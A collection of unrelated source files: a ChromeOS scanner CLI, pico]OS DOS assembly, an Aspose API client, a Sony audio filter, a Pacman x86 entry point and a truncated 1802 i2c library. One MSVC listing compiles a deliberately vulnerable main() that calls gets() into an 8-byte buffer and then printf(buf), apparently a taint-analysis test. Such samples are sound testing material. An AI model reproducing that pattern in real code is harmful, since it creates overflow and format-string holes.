auto manager = std::make_unique<ManagerProxy>(bus, lorgnette::kManagerServiceName); if (command == "scan") { if (!FLAGS_uuid.empty()) { LOG(ERROR) << "--uuid flag is not supported in scan mode."; return 1; } std::optional<lorgnette::SourceType> source_type = GuessSourceType(FLAGS_scan_source); if (!source_type.has_value()) { LOG(ERROR) << "Unknown source type: \"" << FLAGS_scan_source << "\". Supported values are \"Platen\",\"ADF\", \"ADF Simplex\"" ", and \"ADF Duplex\""; return 1; } lorgnette::ScanRegion region; region.set_top_left_x(FLAGS_top_left_x); region.set_top_left_y(FLAGS_top_left_y); region.set_bottom_right_x(FLAGS_bottom_right_x); region.set_bottom_right_y(FLAGS_bottom_right_y); std::string color_mode_string = base::ToLowerASCII(FLAGS_color_mode); lorgnette::ColorMode color_mode; if (color_mode_string == "color") { color_mode = lorgnette::MODE_COLOR; } else if (color_mode_string == "grayscale" || color_mode_string == "gray") { color_mode = lorgnette::MODE_GRAYSCALE; } else if (color_mode_string == "lineart" || color_mode_string == "bw") { color_mode = lorgnette::MODE_LINEART; } else { LOG(ERROR) << "Unknown color mode: \"" << color_mode_string << "\". Supported values are \"Color\", \"Grayscale\", and " "\"Lineart\""; return 1; } std::string image_format_string = base::ToLowerASCII(FLAGS_image_format); lorgnette::ImageFormat image_format; if (image_format_string == "png") { image_format = lorgnette::IMAGE_FORMAT_PNG; } else if (image_format_string == "jpg") { image_format = lorgnette::IMAGE_FORMAT_JPEG; } else { LOG(ERROR) << "Unknown image format: \"" << image_format_string << "\". Supported values are \"PNG\" and \"JPG\""; return 1; } bool success = DoScan(std::move(manager), FLAGS_scan_resolution, source_type.value(), region, color_mode, image_format, FLAGS_all, FLAGS_scanner, FLAGS_output); return success ? 0 : 1; } else if (command == "list") { std::vector<std::string> scanners = BuildScannerList(manager.get()); std::cout << "Detected scanners:" << std::endl; for (int i = 0; i < scanners.size(); i++) { std::cout << scanners[i] << std::endl; } } else if (command == "cancel_scan") { if (FLAGS_uuid.empty()) { LOG(ERROR) << "Must specify scan uuid to cancel using --uuid=[...]"; return 1; } std::optional<lorgnette::CancelScanResponse> response = CancelScan(manager.get(), FLAGS_uuid); if (!response.has_value()) return 1; if (!response->success()) { LOG(ERROR) << "Failed to cancel scan: " << response->failure_reason(); return 1; } return 0; } else if (command == "get_json_caps") { if (FLAGS_scanner.empty()) { LOG(ERROR) << "Must specify scanner to get capabilities"; return 1; } std::optional<lorgnette::ScannerCapabilities> capabilities = GetScannerCapabilities(manager.get(), FLAGS_scanner); if (!capabilities.has_value()) { LOG(ERROR) << "Received null capabilities from lorgnette"; return 1; } std::cout << ScannerCapabilitiesToJson(capabilities.value()); return 0; } }
;* ;* Copyright (c) 2004-2012, Dennis Kuschel. ;* All rights reserved. ;* ;* Redistribution and use in source and binary forms, with or without ;* modification, are permitted provided that the following conditions ;* are met: ;* ;* 1. Redistributions of source code must retain the above copyright ;* notice, this list of conditions and the following disclaimer. ;* 2. Redistributions in binary form must reproduce the above copyright ;* notice, this list of conditions and the following disclaimer in the ;* documentation and/or other materials provided with the distribution. ;* 3. The name of the author may not be used to endorse or promote ;* products derived from this software without specific prior written ;* permission. ;* ;* THIS SOFTWARE IS PROVIDED BY THE AUTHOR ``AS IS'' AND ANY EXPRESS ;* OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED ;* WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ;* ARE DISCLAIMED. IN NO EVENT SHALL THE AUTHOR BE LIABLE FOR ANY DIRECT, ;* INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES ;* (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR ;* SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) ;* HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, ;* STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ;* ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED ;* OF THE POSSIBILITY OF SUCH DAMAGE. ; ; This file is originally from the pico]OS realtime operating system ; (http://picoos.sourceforge.net). ; ; CVS-ID $Id: arch_a.asm,v 1.2 2004/03/21 18:30:57 dkuschel Exp $ ; ;----------------------------------------------------------------------------- ; NOTE: THIS FILE IS FOR THE BORLAND ASSEMBLER (BC 3.1) ;----------------------------------------------------------------------------- ;----------------------------------------------------------------------------- ; EXPORTS ;functions PUBLIC _p_pos_startFirstContext PUBLIC __pos_softCtxSw PUBLIC _p_pos_intContextSwitch PUBLIC __timerIrq IFDEF POSNANO PUBLIC __keyboardIrq PUBLIC _p_putchar ENDIF ;----------------------------------------------------------------------------- ; IMPORTS ;functions EXTRN _c_pos_intEnter:FAR EXTRN _c_pos_intExit:FAR EXTRN _c_pos_timerInterrupt:FAR EXTRN _p_installInterrupts:FAR IFDEF POSNANO EXTRN _posSoftInt:FAR ENDIF ;variables EXTRN _posCurrentTask_g:DWORD EXTRN _posNextTask_g:DWORD EXTRN _posInInterrupt_g:BYTE ;----------------------------------------------------------------------------- ; OUTPUT FORMAT DEFINITION .286 .MODEL LARGE .CODE ;----------------------------------------------------------------------------- ; START FIRST TASK (start the multitasking) ; ; void p_pos_startFirstContext(void); ; ; Before calling this function, ; the following stack frame must have been set up: ; ; posCurrentTask_g->stackptr-> (from low to high memory) ; ES | DS | DI | SI | BP | SP | BX | DX | CX | AX | ; OFS (first task function address) | SEG (first task function address) | ; processor flags | ; OFS (posTaskExit function address) | SEG (posTaskExit function address) | ; OFS (argument pointer void *arg) | SEG (argument pointer void *arg) ; ; This function initializes the timer interrupt and ; does then a "return from interrupt" that restores all registers. ;----------------------------------------------------------------------------- _p_pos_startFirstContext: CALL FAR PTR _p_installInterrupts ;initialize timer interrupt JMP SHORT __pos_startFirstContext ;----------------------------------------------------------------------------- ; CONTEXT SWITCH FROM TASK LEVEL AND INTERRUPT LEVEL ; ; void p_pos_softCtxSw(void); ; void p_pos_intCtxSw(void); ; void p_pos_startFirstContext(void); ; ; Note: ; The function p_pos_softCtxSw is implemented in the C-file ; and is responsible for calling _pos_softCtxSw. ; (This is done by a DOS sofware interrupt.) ; ; This code is an example of how to combine the three functions ; p_pos_startFirstContext, pos_softCtxSw and pos_intCtxSw. ; Please see the pico]OS manual for details on porting the RTOS. ;----------------------------------------------------------------------------- __pos_softCtxSw: ;start of func. p_pos_softCtxSw PUSHA ;save context of current task PUSH DS PUSH ES MOV AX, SEG _posCurrentTask_g ;set d.seg to posCurrentTask_g MOV DS, AX LES BX, DWORD PTR DS:_posCurrentTask_g MOV ES: [BX], SP ;posCurrentTask_g->stackptr = stk MOV ES: [BX+2], SS _p_pos_intContextSwitch: ;start of p_pos_intContextSwitch MOV AX, SEG _posNextTask_g ;set d.seg to posNextTask_g MOV DS, AX MOV CX, WORD PTR DS:_posNextTask_g ;load posNextTask_g to CX/DX MOV DX, WORD PTR DS:_posNextTask_g+2 MOV AX, SEG _posCurrentTask_g ;set d.seg to posCurrentTask_g MOV DS, AX MOV WORD PTR DS:_posCurrentTask_g ,CX ;store CX/DX to posCurrentTask_g MOV WORD PTR DS:_posCurrentTask_g+2,DX __pos_startFirstContext: ;start of p_pos_startFirstContext MOV AX, SEG _posCurrentTask_g ;set d.seg to posCurrentTask_g MOV DS, AX LES BX, DWORD PTR DS:_posCurrentTask_g MOV SP, ES: [BX] ;stk = posCurrentTask_g->stackptr MOV SS, ES: [BX+2] POP ES ;restore context of new task POP DS POPA IRET ;----------------------------------------------------------------------------- ; TIMER INTERRUPT ; ; The DOS timer interrupt is called with 18.2 Hz. ; This interrupt is used to generate the pico]OS time slices. ; ; This function does the following: ; a) save task context to stack ; b) if (posInInterrupt_g == 0), save stack ptr to current task environment ; c) call to c_pos_intEnter() ; d) call to c_pos_timerInterrupt() ; e) call DOS timer interrupt handler ; f) call to c_pos_intExit() ;----------------------------------------------------------------------------- __timerIrq: PUSHA ;save current task context PUSH DS PUSH ES MOV AX, SEG _posInInterrupt_g ;set data seg to posInInterrupt_g MOV DS, AX CMP BYTE PTR DS:_posInInterrupt_g, 0 ;if (posInInterrupt_g == 0) JNE SHORT _intRun ;{ MOV AX, SEG _posCurrentTask_g ; set d.seg to posCurrentTask_g MOV DS, AX ; LES BX, DWORD PTR DS:_posCurrentTask_g ; posCurrentTask_g->stackptr=stk MOV ES: [BX], SP ; MOV ES: [BX+2], SS ;} _intRun: CALL _c_pos_intEnter ;enter pico]OS interrupt level CALL _c_pos_timerInterrupt ;call timer interrupt INT 081h ;call DOS's tick ISR CALL FAR PTR _c_pos_intExit ;leave pico]OS interrupt level POP ES ;back from interrupt (old task) POP DS POPA IRET IFDEF POSNANO ;----------------------------------------------------------------------------- ; FUNCTIONS NEEDED BY THE NANO LAYER ;----------------------------------------------------------------------------- ; KEYBOARD INTERRUPT - nano layer option ; ; This system interrupt (INT 09h) is executed every time a key is pressed. ; The key code is read from the DOS keyboard buffer and ; is then fed into the nano layer via the software interrupt 0. ;----------------------------------------------------------------------------- __keyboardIrq: PUSHA ;save registers PUSH DS PUSH ES INT 82h ;call original INT 09 MOV AH, 0Bh ;call DOS, test if key pressed INT 21h CMP AL, 0FFh JNE _nokey MOV AH, 07h ;call DOS, get key code INT 21h MOV AH, 0 ;prepare to execute sw-int 0 PUSH AX PUSH 0 MOV AX, SEG _posCurrentTask_g ;set DS to our data segment MOV DS, AX CALL _posSoftInt ;call software interrupt ADD SP, 4 _nokey: POP ES ;restore registers POP DS POPA IRET ;back from interrupt ;----------------------------------------------------------------------------- ; PRINT CHARACTER - nano layer option ; ; The nano layer calls this function to print a character to the screen. ;----------------------------------------------------------------------------- _p_putchar: PUSH BP MOV BP,SP MOV AL,[BP+06] ;get parameter: char MOV AH,14 MOV BL,15 INT 10h ;print character to screen POP BP MOV AL,1 ;return 1 (=TRUE) RETF ENDIF ;End Of File END
/** * -------------------------------------------------------------------------------------------------------------------- * <copyright company="Aspose" file="ApiClient.cpp"> * Copyright (c) 2020 Aspose.HTML for Cloud * </copyright> * <summary> * Permission is hereby granted, free of charge, to any person obtaining a copy * of this software and associated documentation files (the "Software"), to deal * in the Software without restriction, including without limitation the rights * to use, copy, modify, merge, publish, distribute, sublicense, and/or sell * copies of the Software, and to permit persons to whom the Software is * furnished to do so, subject to the following conditions: * * The above copyright notice and this permission notice shall be included in all * copies or substantial portions of the Software. * * THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR * IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, * FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE * AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER * LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, * OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE * SOFTWARE. * </summary> * -------------------------------------------------------------------------------------------------------------------- */ #include "ApiClient.h" #include "MultipartFormData.h" #include "ModelBase.h" namespace com { namespace aspose { namespace api { using namespace com::aspose::model; ApiClient::ApiClient(std::shared_ptr<ApiConfiguration> configuration ) : m_Configuration(configuration) { } ApiClient::~ApiClient() { } std::shared_ptr<ApiConfiguration> ApiClient::getConfiguration() const { return m_Configuration; } void ApiClient::setConfiguration(std::shared_ptr<ApiConfiguration> configuration) { m_Configuration = configuration; } utility::string_t ApiClient::parameterToString(utility::string_t value) { return value; } utility::string_t ApiClient::parameterToString(int64_t value) { std::stringstream valueAsStringStream; valueAsStringStream << value; return utility::conversions::to_string_t(valueAsStringStream.str()); } utility::string_t ApiClient::parameterToString(int32_t value) { std::stringstream valueAsStringStream; valueAsStringStream << value; return utility::conversions::to_string_t(valueAsStringStream.str()); } utility::string_t ApiClient::parameterToString(float value) { return utility::conversions::to_string_t(std::to_string(value)); } utility::string_t ApiClient::parameterToString(const utility::datetime &value) { return utility::conversions::to_string_t(value.to_string(utility::datetime::ISO_8601)); } pplx::task<web::http::http_response> ApiClient::callApi( const utility::string_t& path, const utility::string_t& method, const std::map<utility::string_t, utility::string_t>& queryParams, const std::shared_ptr<IHttpBody> postBody, const std::map<utility::string_t, utility::string_t>& headerParams, const std::map<utility::string_t, utility::string_t>& formParams, const std::map<utility::string_t, std::shared_ptr<HttpContent>>& fileParams, const utility::string_t& contentType ) const { if (postBody != nullptr && formParams.size() != 0) { throw ApiException(400, utility::conversions::to_string_t("Cannot have body and form params")); } if (postBody != nullptr && fileParams.size() != 0) { throw ApiException(400, utility::conversions::to_string_t("Cannot have body and file params")); } if (fileParams.size() > 0 && contentType != utility::conversions::to_string_t("multipart/form-data")) { throw ApiException(400, utility::conversions::to_string_t("Operations with file parameters must be called with multipart/form-data")); } // Set timeout 30 min web::http::client::http_client_config httpConfig; utility::seconds timeout(1800); httpConfig.set_timeout(timeout); m_Configuration->setHttpConfig(httpConfig); web::http::client::http_client client(m_Configuration->getBaseUrl(), m_Configuration->getHttpConfig()); web::http::http_request request; for ( auto& kvp : headerParams ) { request.headers().add(kvp.first, kvp.second); } if (fileParams.size() > 0) { MultipartFormData uploadData; for (auto& kvp : formParams) { uploadData.add(ModelBase::toHttpContent(kvp.first, kvp.second)); } for (auto& kvp : fileParams) { uploadData.add(ModelBase::toHttpContent(kvp.first, kvp.second)); } std::stringstream data; uploadData.writeTo(data); auto bodyString = data.str(); auto length = bodyString.size(); request.set_body(concurrency::streams::bytestream::open_istream(std::move(bodyString)), length, utility::conversions::to_string_t("multipart/form-data; boundary=") + uploadData.getBoundary()); } else { if (postBody != nullptr) { std::stringstream data; postBody->writeTo(data); auto bodyString = data.str(); auto length = bodyString.size(); request.set_body(concurrency::streams::bytestream::open_istream(std::move(bodyString)), length, contentType); } else { if (contentType == utility::conversions::to_string_t("application/json")) { web::json::value body_data = web::json::value::object(); for (auto& kvp : formParams) { body_data[kvp.first] = ModelBase::toJson(kvp.second); } if (!formParams.empty()) { request.set_body(body_data); } } else { web::http::uri_builder formData; for (auto& kvp : formParams) { formData.append_query(kvp.first, kvp.second); } if (!formParams.empty()) { request.set_body(formData.query(), utility::conversions::to_string_t("application/x-www-form-urlencoded")); } } } } web::http::uri_builder builder(path); for (auto& kvp : queryParams) { builder.append_query(kvp.first, kvp.second); } request.set_request_uri(builder.to_uri()); request.set_method(method); if ( !request.headers().has( web::http::header_names::user_agent ) ) { request.headers().add( web::http::header_names::user_agent, m_Configuration->getUserAgent() ); } return client.request(request); } } } }
/**************************************************************************** * audio_recognizer/worker_preprocess/userproc/src/rcfilter.cpp * * Copyright 2018 Sony Semiconductor Solutions Corporation * * Redistribution and use in source and binary forms, with or without * modification, are permitted provided that the following conditions * are met: * * 1. Redistributions of source code must retain the above copyright * notice, this list of conditions and the following disclaimer. * 2. Redistributions in binary form must reproduce the above copyright * notice, this list of conditions and the following disclaimer in * the documentation and/or other materials provided with the * distribution. * 3. Neither the name of Sony Semiconductor Solutions Corporation nor * the names of its contributors may be used to endorse or promote * products derived from this software without specific prior written * permission. * * THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS * "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT * LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS * FOR A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE * COPYRIGHT OWNER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, * INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, * BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS * OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED * AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT * LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN * ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE * POSSIBILITY OF SUCH DAMAGE. * ****************************************************************************/ #include "rcfilter.h" /*--------------------------------------------------------------------*/ /* */ /*--------------------------------------------------------------------*/ /*--------------------------------------------------------------------*/ bool RCfilter::init(void) { return true; } /*--------------------------------------------------------------------*/ uint32_t RCfilter::exec(int16_t *in, uint32_t insize, int16_t *out, uint32_t outsize) { /* Exec RC filter. */ int16_t *ls_i = in; int16_t *rs_i = ls_i + 1; int16_t *ls_o = out; int16_t *rs_o = ls_o + 1; static int16_t ls_l = 0; static int16_t rs_l = 0; if (!ls_l && !rs_l) { ls_l = *ls_i; rs_l = *rs_i; } uint32_t cnt = 0; for (cnt = 0; cnt < insize; cnt += 4) { *ls_o = (ls_l * m_coef / 100) + (*ls_i * (100 - m_coef) / 100); *rs_o = (rs_l * m_coef / 100) + (*rs_i * (100 - m_coef) / 100); ls_l = *ls_o; rs_l = *rs_o; ls_i += 2; rs_i += 2; ls_o += 2; rs_o += 2; } return cnt; } /*--------------------------------------------------------------------*/ uint32_t RCfilter::flush(int16_t *out, uint32_t outsize) { return 0; } /*--------------------------------------------------------------------*/ bool RCfilter::set(uint32_t coef) { /* Set RC filter coef. */ m_coef = static_cast<int16_t>(coef); return true; }
; Listing generated by Microsoft (R) Optimizing Compiler Version 19.00.23506.0 include listing.inc INCLUDELIB MSVCRT INCLUDELIB OLDNAMES PUBLIC __local_stdio_printf_options PUBLIC _vfprintf_l PUBLIC printf PUBLIC main EXTRN __imp___acrt_iob_func:PROC EXTRN __imp___stdio_common_vfprintf:PROC EXTRN gets:PROC EXTRN __GSHandlerCheck:PROC EXTRN __security_check_cookie:PROC EXTRN __security_cookie:QWORD _DATA SEGMENT COMM ?_OptionsStorage@?1??__local_stdio_printf_options@@9@9:QWORD ; `__local_stdio_printf_options'::`2'::_OptionsStorage _DATA ENDS ; COMDAT pdata pdata SEGMENT $pdata$_vfprintf_l DD imagerel $LN3 DD imagerel $LN3+68 DD imagerel $unwind$_vfprintf_l pdata ENDS ; COMDAT pdata pdata SEGMENT $pdata$printf DD imagerel $LN3 DD imagerel $LN3+88 DD imagerel $unwind$printf pdata ENDS pdata SEGMENT $pdata$main DD imagerel $LN3 DD imagerel $LN3+59 DD imagerel $unwind$main pdata ENDS xdata SEGMENT $unwind$main DD 011319H DD 06204H DD imagerel __GSHandlerCheck DD 028H xdata ENDS ; COMDAT xdata xdata SEGMENT $unwind$printf DD 011801H DD 06218H xdata ENDS ; COMDAT xdata xdata SEGMENT $unwind$_vfprintf_l DD 011801H DD 06218H xdata ENDS ; Function compile flags: /Odtpy ; File d:\projects\taintanalysis\antitaint\epilog\src\main.c _TEXT SEGMENT buf$ = 32 __$ArrayPad$ = 40 main PROC ; 10 : { $LN3: sub rsp, 56 ; 00000038H mov rax, QWORD PTR __security_cookie xor rax, rsp mov QWORD PTR __$ArrayPad$[rsp], rax ; 11 : char buf[8]; ; 12 : gets(buf); lea rcx, QWORD PTR buf$[rsp] call gets ; 13 : printf(buf); lea rcx, QWORD PTR buf$[rsp] call printf ; 14 : return 0; xor eax, eax ; 15 : } mov rcx, QWORD PTR __$ArrayPad$[rsp] xor rcx, rsp call __security_check_cookie add rsp, 56 ; 00000038H ret 0 main ENDP _TEXT ENDS ; Function compile flags: /Odtpy ; File c:\program files (x86)\windows kits\10\include\10.0.10240.0\ucrt\stdio.h ; COMDAT printf _TEXT SEGMENT _Result$ = 32 _ArgList$ = 40 _Format$ = 64 printf PROC ; COMDAT ; 950 : { $LN3: mov QWORD PTR [rsp+8], rcx mov QWORD PTR [rsp+16], rdx mov QWORD PTR [rsp+24], r8 mov QWORD PTR [rsp+32], r9 sub rsp, 56 ; 00000038H ; 951 : int _Result; ; 952 : va_list _ArgList; ; 953 : __crt_va_start(_ArgList, _Format); lea rax, QWORD PTR _Format$[rsp+8] mov QWORD PTR _ArgList$[rsp], rax ; 954 : _Result = _vfprintf_l(stdout, _Format, NULL, _ArgList); mov ecx, 1 call QWORD PTR __imp___acrt_iob_func mov r9, QWORD PTR _ArgList$[rsp] xor r8d, r8d mov rdx, QWORD PTR _Format$[rsp] mov rcx, rax call _vfprintf_l mov DWORD PTR _Result$[rsp], eax ; 955 : __crt_va_end(_ArgList); mov QWORD PTR _ArgList$[rsp], 0 ; 956 : return _Result; mov eax, DWORD PTR _Result$[rsp] ; 957 : } add rsp, 56 ; 00000038H ret 0 printf ENDP _TEXT ENDS ; Function compile flags: /Odtpy ; File c:\program files (x86)\windows kits\10\include\10.0.10240.0\ucrt\stdio.h ; COMDAT _vfprintf_l _TEXT SEGMENT _Stream$ = 64 _Format$ = 72 _Locale$ = 80 _ArgList$ = 88 _vfprintf_l PROC ; COMDAT ; 638 : { $LN3: mov QWORD PTR [rsp+32], r9 mov QWORD PTR [rsp+24], r8 mov QWORD PTR [rsp+16], rdx mov QWORD PTR [rsp+8], rcx sub rsp, 56 ; 00000038H ; 639 : return __stdio_common_vfprintf(_CRT_INTERNAL_LOCAL_PRINTF_OPTIONS, _Stream, _Format, _Locale, _ArgList); call __local_stdio_printf_options mov rcx, QWORD PTR _ArgList$[rsp] mov QWORD PTR [rsp+32], rcx mov r9, QWORD PTR _Locale$[rsp] mov r8, QWORD PTR _Format$[rsp] mov rdx, QWORD PTR _Stream$[rsp] mov rcx, QWORD PTR [rax] call QWORD PTR __imp___stdio_common_vfprintf ; 640 : } add rsp, 56 ; 00000038H ret 0 _vfprintf_l ENDP _TEXT ENDS ; Function compile flags: /Odtpy ; File c:\program files (x86)\windows kits\10\include\10.0.10240.0\ucrt\corecrt_stdio_config.h ; COMDAT __local_stdio_printf_options _TEXT SEGMENT __local_stdio_printf_options PROC ; COMDAT ; 74 : static unsigned __int64 _OptionsStorage; ; 75 : return &_OptionsStorage; lea rax, OFFSET FLAT:?_OptionsStorage@?1??__local_stdio_printf_options@@9@9 ; `__local_stdio_printf_options'::`2'::_OptionsStorage ; 76 : } ret 0 __local_stdio_printf_options ENDP _TEXT ENDS END
; Pacman-x86: a Pacman implementation in pure x86 assembly. ; @file The game's entry point file. ; @author Rodrigo Siqueira <rodriados@gmail.com> ; @copyright 2021-present Rodrigo Siqueira bits 64 %include "debug.inc" %include "color.inc" %include "opengl.inc" %include "window.inc" extern canvas.RenderCallback extern canvas.ReshapeCallback extern canvas.SetBackgroundColor extern keyboard.SpecialCallback extern game.TickCallback global window:data global main:function section .data align 8 window: istruc windowT at windowT.shape, dd 640, 480 at windowT.position, dd 100, 100 at windowT.aspect, dq 0 at windowT.fullscreen, db 0 at windowT.title, db "Pacman-x86", 0 iend section .rodata align 8 bgcolor: istruc colorT at colorT.r, dd 0.0 at colorT.g, dd 0.0 at colorT.b, dd 0.0 at colorT.a, dd 1.0 iend section .text ; The game's entry point. ; @param edi The number of command line arguments. ; @param rsi A memory pointer to the list of command line arguments. main: push rbp mov rbp, rsp sub rsp, 0x10 ; Initializing the GLUT library. ; Here, the GLUT library is initialized and window session is negotiated with ; the window system. No rendering can occur before this call. mov [rsp - 0x04], edi lea rdi, [rsp - 0x04] call glutInit ; Setting the game's window to use double buffering. ; A double buffering uses two display buffers to smoothen animations. The next ; screen frame is prepared in a back buffer, while the current screen is held ; in a front buffer. Once preparation is done, the buffers must be swapped. ; @see https://www.opengl.org/resources/libraries/glut/spec3/node12.html mov edi, GLUT_DOUBLE call glutInitDisplayMode ; Setting the window's size. ; The window's size is just a suggestion to the window system for the window's ; initial size. The window system is not obligated to use this information. ; The reshape callback should be used to determine the window's true dimensions. ; @see https://www.opengl.org/resources/libraries/glut/spec3/node11.html mov edi, dword [window + windowT.shapeX] mov esi, dword [window + windowT.shapeY] call glutInitWindowSize ; Setting the window's position. ; Similarly to when the window's size, its initial position is just a suggestion ; that the window system is not obligated to follow. mov edi, dword [window + windowT.positionX] mov esi, dword [window + windowT.positionY] call glutInitWindowPosition ; Creating a GLUT window with the given title. ; Implicitly creates a new top-level window, provides the window's name to the ; window system and associates an OpenGL context to the new window. mov edi, window + windowT.title call glutCreateWindow ; Setting the game's window background color. ; Configures the game canvas to show a colored background if needed. mov edi, bgcolor call canvas.SetBackgroundColor ; Setting the callback for window re-paint event. ; This callback will be called repeatedly in order to render each frame. mov edi, canvas.RenderCallback call glutDisplayFunc ; Setting the callback for the window reshape event. ; This callback will be called whenever the window be resized. mov edi, canvas.ReshapeCallback call glutReshapeFunc ; Setting the callback for the keyboard's special buttons event. ; This callback will be called whenever a special key is pressed. mov edi, keyboard.SpecialCallback call glutSpecialFunc ; Setting the callback for the game's tick event. ; This callback will be called in regular periods to indicate that a game tick ; time has passed and thus the game state must be updated. The tick timing is ; directly determined by the game's frame rate. xor edi, edi xor edx, edx mov esi, game.TickCallback call glutTimerFunc ; Entering the event-processing infinite loop. ; Puts the OpenGL system to wait for events and trigger their handlers. call glutMainLoop leave ret
INCL "../inc/1802.inc" INCL "../inc/i2c_io.inc" ORG $4000 ;------------------------------------------------------------------------ ;This library contains routines to implement the i2c protocol using two ;bits of a parallel port. The two bits should be connected to open- ;collector or open-drain drivers such that when the output bit is HIGH, ;the corresponding i2c line (SDA or SCL) is pulled LOW. ; ;The current value of the output port is maintained in register RE.1. ;This allows the routines to manipulate the i2c outputs without ;disturbing the values of other bits on the output port. ; ;The routines are meant to be called using SCRT, with X=R2 being the ;stack pointer. ;------------------------------------------------------------------------ ;This routine writes a message to the i2c bus. ; ;Parameters: ; 1: i2c_address 7-bit i2c address (1 byte) ; 2: num_bytes number of bytes to write (1 byte) ; 3: address address of message to be written (2 bytes) ; ;Example: ; This call writes a 17 byte message to the i2c device at address 0x70: ; ; CALL I2C_WRBUF ; DB $70,17 ; DW BUFFER ; ; BUFFER: DB $00 ; DB $06,$00,$5B,$00,$00,$00,$4F,$00 ; DB $66,$00,$00,$00,$00,$00,$00,$00 ; ;Register usage: ; RE.1 maintains the current state of the output port ; SHARED I2C_WRBUF I2C_WRBUF: GHI RA STXD GLO RA STXD GHI RD STXD GLO RD STXD GLO RE STXD GHI RF STXD GLO RF STXD ; Set up SEP function calls RLDI RA, I2C_WRITE_BYTE ; Read parameters LDA R6 ; Get i2c address SHL ; Add write flag PHI RF LDA R6 ; Get count of bytes to write PLO RF ; and save it. LDA R6 ; Get high address of buffer PHI RD LDA R6 ; Get low address of buffer PLO RD INCL "../inc/i2c_start.asm" SEP RA ; Write address + write flag .LOOP LDA RD ; Get next byte PHI RF SEP RA ; Write data byte DEC RF GLO RF BNZ .LOOP INCL "../inc/../inc/i2c_stop.asm" IRX ; Restore registers LDXA PLO RF LDXA PHI RF LDXA PLO RE LDXA PLO RD LDXA PHI RD LDXA PLO RA LDX PHI RA RETN ;------------------------------------------------------------------------ ;This routine reads a message from the i2c bus. ; ;Parameters: ; 1: i2c_address 7-bit i2c address (1 byte) ; 2: num_bytes number of bytes to read (1 byte) ; 3: address address of message buffer (2 bytes) ; ;Example: ; This call reads a 2 byte message from the i2c device at address 0x48. ; On completion, the message is at TEMP_DATA: ; ; READ_TEMP: CALL I2C_RDBUF ; DB $48,2 ; DW TEMP_DATA ; ; TEMP_DATA: DS 2 ; ;Register usage: ; RE.1 maintains the current state of the output port ; SHARED I2C_RDBUF I2C_RDBUF: GHI RA STXD GLO RA STXD GHI RB STXD GLO RB STXD GHI RD STXD GLO RD STXD GLO RE STXD GHI RF STXD GLO RF STXD ; Set up SEP function calls RLDI RA, I2C_WRITE_BYTE RLDI RB, I2C_READ_BYTE ; Read parameters LDA R6 ; Get i2c address SHL ORI $01 ; Add read flag PHI RF LDA R6 ; Save count of bytes SMI $01 ; minus one. PLO RF LDA R6 ; Get high address of buffer PHI RD LDA R6 ; Get low address of buffer PLO RD INCL "../inc/i2c_start.asm" SEP RA ; Write address + read flag GLO RF BZ .LAST .LOOP: SEP RB ; Read next byte GHI RF STR RD INC RD ; ACK GHI RE ORI SDA_LOW ; SDA LOW STR R2 OUT PORT DEC R2 ANI SCL_HIGH ; SCL HIGH STR R2 OUT PORT DEC R2 ORI SCL_LOW ; SCL LOW STR R2 OUT PORT DEC R2 PHI RE DEC RF GLO RF BNZ .LOOP .LAST: SEP RB ; Read final byte GHI RF STR RD ; NAK GHI RE ANI SCL_HIGH ; SCL HIGH STR R2 OUT PORT DEC R2 ORI SCL_LOW ; SCL LOW STR R2 OUT PORT DEC R2 PHI RE INCL "../inc/../inc/i2c_stop.asm" IRX ; Restore registers LDXA PLO RF LDXA PHI RF LDXA PLO RE LDXA PLO RD LDXA PHI RD LDXA PLO RB LDXA PHI RB LDXA PLO RA LDX PHI RA RETN ALIGN 256 ;------------------------------------------------------------------------ ;This routine reads a message from the i2c bus. ; ;Parameters: ; 1: i2c_address 7-bit i2c address (1 byte) ; 2: num_bytes number of bytes to read (1 byte) ; 3: address address of message buffer (2 bytes) ; ;Example: ; This call reads a 2 byte message from the i2c device at address 0x48. ; On completion, the message is at TEMP_DATA: ; ; READ_TEMP: CALL I2C_RDBUF ; DB $48,2 ; DW TEMP_DATA ; ; TEMP_DATA: DS 2 ; ;Register usage: ; RE.1 maintains the current state of the output port ; SHARED I2C_RDREG I2C_RDREG: GHI RA STXD GLO RA STXD GHI RB STXD GLO RB STXD GLO RC STXD GHI RD STXD GLO RD STXD GLO RE STXD GHI RF STXD GLO RF STXD ; Set up SEP function calls RLDI RA, I2C_WRITE_BYTE RLDI RB, I2C_READ_BYTE ; Read parameters LDA R6 ; Get i2c address SHL ; Add write flag PLO RC ; Save shifted address PHI RF LDA R6 